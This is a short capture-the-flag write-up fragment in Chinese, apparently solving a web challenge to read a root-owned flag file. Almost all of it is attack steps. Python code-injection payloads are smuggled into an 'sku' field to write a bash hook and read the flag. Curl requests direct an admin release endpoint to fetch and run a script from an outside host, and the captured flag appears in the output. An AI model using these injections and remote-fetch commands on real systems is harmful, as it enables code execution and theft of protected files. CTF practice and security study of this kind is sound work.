drwxr-xr-x 1 root root 4096 Jun 19 06:07 ..
-rw-r--r-- 1 root root  571 Apr 10  2021 .bashrc
-rw-r--r-- 1 root root  161 Jul  9  2019 .profile
-rw------- 1 root root   43 Jun 19 06:07 lf4a

→ 真 flag 文件为 /root/lf4a

• 读 flag

hook = "#!/bin/bash\ncp /root/lf4a /tmp/flag.txt\nchmod 777 /tmp/flag.txt\n"
sku = "HOOK2-'+str(open('/home/app/https:/2026.huhstsec.top/evil','w').write(hook))+'"

触发 syncd 后：

sku = “FLAG-‘+open(‘/tmp/flag.txt’).read()[:200]+’”

syncd 触发

curl -X POST http://target/api/portal/admin/release-source \
  -H "Authorization: Bearer <admin>" \
  -d '{"source_url":"https://2026.huhstsec.top/evil"}'

curl -X POST http://target/api/portal/admin/release-run \
  -H "Authorization: Bearer <admin>" -d '{}'

• 读结果

sku = "FLAG-'+open('/tmp/flag.txt').read()[:200]+'"

响应 preview.sku = "FLAG-flag{30ad0d5b-81db-40ea-a2d7-aaa0b66bf59d}"